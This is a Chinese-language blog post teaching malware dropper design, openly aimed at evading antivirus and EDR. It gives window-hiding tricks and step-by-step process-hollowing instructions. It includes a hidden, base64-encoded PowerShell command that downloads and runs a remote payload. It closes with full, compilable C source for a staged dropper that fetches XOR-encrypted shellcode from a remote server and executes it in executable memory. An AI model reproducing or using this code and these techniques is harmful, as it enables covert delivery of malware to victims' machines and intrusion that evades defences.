知识卡片
-
了解隐藏:
用户态隐藏(隐藏窗口、文件、进程)、内核态隐藏(Rootkit)
-
Dropper定义:
用于“投递”恶意载荷的轻量级程序。
-
Dropper vs. Loader:Dropper通常负责释放并运行载荷(可能写入磁盘),而Loader更偏向于直接将载荷加载进内存执行
-
Dropper执行方式:Shellcode加载、DLL侧加载、白加黑、利用系统工具执行等
详细讲解
命令窗口隐藏
-
编译时隐藏
gcc只需要加一个参数-mwindows
gcc -o payload.exe payload.c -mwindows
-
运行时隐藏
可以使用ShowWindows隐藏
ShowWindow(hWnd, SW_HIDE);
hWnd是我们窗口的句柄
进程隐藏
-
进程镂空
核心思想就是要创建一个合法的、受信任的进程,然后将这个进程的内存掏空,然后将我们的恶意代码塞进去,并在这个进程中执行我们的代码。
步骤一:创建挂起状态的合法进程
调用API(如CreateProcessA/W),创建一个合法的、无恶意特征的系统进程(例如notepad.exe、calc.exe等),在调用时需要指定CREATE_SUSPENDED标志,让进程创建后处于挂起状态
步骤二:掏空原进程内存并写入恶意ShellCode
1.卸载原进程代码
调用未公开的内核APINtUnmapViewOfSection,卸载挂起进程中原来的可执行文件占用的内存空间
2.分配新内存
通过调用VirtualAllocExAPI,在挂起进程的地址空间中分配一块新的、可读可写可执行(PAGE_EXECUTE_READWRITE)的内存区域
3.写入ShellCode
调用WriteProcessMemory,将预先准备好的ShellCode载入到内存
步骤三:修改线程上下文,设置恶意代码入口点
先调用GetThreadContext获取挂起主线程的上下文(CONTEXT 结构体)
然后修改上下文结构体中的Rip(x64)或Eip(x86)寄存器值,使其指向上面写入ShellCode的内存起始地址;
最后调用SetThreadContext将修改后的上下文写回线程
步骤四:恢复进程运行,执行恶意代码
调用ResumeThread API,恢复挂起进程的主线程运行
-
无文件技术
让我们的代码从头到尾不落地,这就需要在Powershell、WScript等系统工具内存执行了,或者利用注册表、WMI等进行存储和启动
比如一个经典的Powershell一行加载器:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc SQBCAEYARgBBAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEALwBwAGEAeQBvAGEAbABkACcAKQ==
Base64解码后就是从远程服务器下载并执行payload的命令
Dropper设计与实现
为什么要设计Dropper? 为什么不直接Loader执行直接上线呢?
Dropper翻译过来就是“投递器”,其设计理念是体积小、执行简单(只远程下载一小段代码并负责解密存入内存),Dropper越简单越好,配合着合法进程或工具效果更佳。
Loader恶意特征太明显,都是些敏感API调用等,直接让目标触发Loader有很大难度,一是可能落地即杀,或者是在运行后直接触发杀软/EDR防御。但是我们用Dropper就可以远程下载二进制形式的Loader并将其存入内存缓冲区,并进行解密,此时Loader已经处于内存中了,内存就能直接调用执行。
Dropper的实现
这里就直接实现分阶段类型Dropper
#include <stdio.h> #include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") // XOR 密钥 #define XOR_KEY 0x5A // 1. 解密函数 void XOR_Decrypt(unsigned char *data, size_t len) { for (size_t i = 0; i < len; i++) { data[i] ^= XOR_KEY; } } // 2. 远程下载函数 (下载到内存) // 返回值:下载的数据长度,如果失败返回 0 // out_buffer: 用于存储下载数据的指针的地址 size_t DownloadPayload(const char *url, unsigned char **out_buffer) { HINTERNET hInternet, hConnect; DWORD bytesRead; DWORD totalBytes = 0; DWORD bufferSize = 1024; // 初始缓冲区大小 unsigned char *buffer = (unsigned char *)malloc(bufferSize); if (!buffer) return 0; // 初始化 WinINet hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64)", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) { printf("[!] InternetOpen 失败\n"); free(buffer); return 0; } // 打开 URL hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (!hConnect) { printf("[!] InternetOpenUrl 失败\n"); InternetCloseHandle(hInternet); free(buffer); return 0; } // 循环读取数据 unsigned char chunk[1024]; while (InternetReadFile(hConnect, chunk, sizeof(chunk), &bytesRead) && bytesRead > 0) { // 如果缓冲区不够,扩展它 if (totalBytes + bytesRead > bufferSize) { bufferSize *= 2; unsigned char *newBuffer = (unsigned char *)realloc(buffer, bufferSize); if (!newBuffer) { free(buffer); InternetCloseHandle(hConnect); InternetCloseHandle(hInternet); return 0; } buffer = newBuffer; } // 将读取的数据追加到缓冲区 memcpy(buffer + totalBytes, chunk, bytesRead); totalBytes += bytesRead; } InternetCloseHandle(hConnect); InternetCloseHandle(hInternet); *out_buffer = buffer; return totalBytes; } int main() { // 需要先用 Python 生成一段 Shellcode,用 0x5A 异或加密,然后放在 Web 服务器上 const char *remote_url = "http://192.168.1.133/1.bin"; unsigned char *payload_buffer = NULL; printf("[*] 正在从 %s 下载 Payload...\n", remote_url); // 1. 下载 size_t payload_size = DownloadPayload(remote_url, &payload_buffer); if (payload_size == 0 || payload_buffer == NULL) { printf("[!] 下载失败或文件为空。\n"); return 1; } printf("[+] 下载成功,大小: %zu 字节\n", payload_size); // 2. 申请内存 // VirtualAlloc 是关键,我们需要 PAGE_EXECUTE_READWRITE (RWX) 权限 void *exec_mem = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec_mem) { printf("[!] 内存申请失败\n"); free(payload_buffer); return 1; } // 3. 将下载的数据复制到新申请的可执行内存中 memcpy(exec_mem, payload_buffer, payload_size); // 释放原始堆内存 free(payload_buffer); // 4. 解密 (内存进行) printf("[*] 正在内存中解密...\n"); XOR_Decrypt((unsigned char *)exec_mem, payload_size); // 5. 执行 printf("[*] 跳转执行 Shellcode...\n"); // 将内存地址强制转换为函数指针并调用 ((void(*)())exec_mem)(); return 0; }
编译链接
gcc dropper.c -o dropper.exe -lwininet
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/dropper%e8%ae%be%e8%ae%a1%e4%b8%8e%e5%ae%9e%e7%8e%b0/
共有 0 条评论